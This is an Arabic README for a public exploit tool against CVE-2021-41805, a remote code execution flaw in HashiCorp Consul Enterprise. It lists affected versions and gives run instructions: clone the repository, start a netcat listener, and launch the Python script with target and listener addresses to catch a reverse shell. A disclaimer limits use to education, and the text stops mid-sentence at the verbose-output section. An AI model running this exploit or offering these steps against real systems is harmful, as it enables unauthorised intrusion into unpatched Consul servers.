CVE-2021-41805 - تنفيذ الأكواد عن بُعد في HashiCorp Consul Enterprise

[!WARNING] إخلاء مسؤولية قانوني: هذه الأداة مخصصة للأغراض التعليمية فقط بشكل صارم! استخدام هذه الأداة لمهاجمة أهداف دون موافقة متبادلة مسبقة غير قانوني. تقع على عاتق المستخدم مسؤولية الامتثال لجميع القوانين المعمول بها أثناء استخدام هذه الأداة. لا يتحمل مطوّر هذه الأداة أي مسؤولية ولا يُعتبر مسؤولًا عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج.

حول الثغرة

يمكن استخدام رمز ACL (مع صلاحيات operator:write الافتراضية) في مساحة اسم واحدة لتصعيد امتيازات غير مقصود في مساحة اسم مختلفة. يمكن إساءة استخدام هذا للحصول على تنفيذ الأكواد عن بُعد (RCE) بامتيازات مرتفعة.

الإصدارات المتأثرة

• < 1.8.17
• 1.9.x < 1.9.11
• 1.10.x < 1.10.4

تثبيت السكربت وتشغيله

• أولاً، استنسخ المستودع:
  git clone https://github.com/acfirthh/CVE-2021-41805.git
• انتقل إلى دليل المستودع المستنسخ:
  cd CVE-2021-41805
• شغّل مستمعًا بسيطًا:
  nc -nvlp <LISTENER_PORT>
• شغّل السكربت:
  python3 CVE-2021-41805.py -r <TARGET_IP> -rp <TARGET_PORT> -l <LISTENER_IP> -lp <LISTENER_PORT> [OPTIONAL: -t <ACL token> -v (verbose) -s (use SSL)]

المخرجات المتوقعة

تشغيل الاستغلال بالوسائط الأساسية: -r [TARGET_IP]، -rp [TARGET_PORT]، -l [LISTENER_IP]، -lp [LISTENER_PORT] (-t [ACL_TOKEN]، -s [استخدام SSL]) سيعطي مخرجات أساسية مثل:

[*] The PUT request was made successfully. Check your listener...

تشغيل الاستغلال بالوسائط الأساسية بالإضافة إلى -v [VERBOSE] سيعطي مخرجات مفصلة:

إذا حدث خطأ أثناء تشغيل الاستغلال وتم تحديد الوسيط -v، فستكون المخرجات شيئًا مثل: